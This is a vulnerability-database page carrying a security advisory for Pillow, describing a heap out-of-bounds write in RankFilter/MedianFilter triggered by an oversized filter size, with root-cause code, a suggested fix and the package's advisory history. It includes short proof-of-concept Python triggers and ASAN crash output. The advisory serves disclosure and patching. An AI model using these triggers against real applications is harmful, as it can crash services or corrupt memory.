Wysoka

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

  • Ujawniono: 14.07.2026
  • Aktualizacja: 11.10.2026 15:17

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

python
class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

c
if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

c
for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

c
if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

python
from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

c
if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 12.3.0 12.3.0

Odnośniki

Ocena CVSS 8.2/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Słabość (CWE)
CWE-190
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
14.07.2026
Aktualizacja
11.10.2026 15:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3454 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-xj96-63gp-2gmr - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (81) w archiwum
Wszystkich wpisów
81
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 10
  • Wysoka 53
  • Średnia 16
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

wcześniej: 12

Istotność:
  1. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  2. Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand` ten wpis
    Wysoka · 8.2 CVE-2026-59197 < 12.3.0 12.3.0
  3. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Pokaż więcej (20) Widać 20 z 63

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.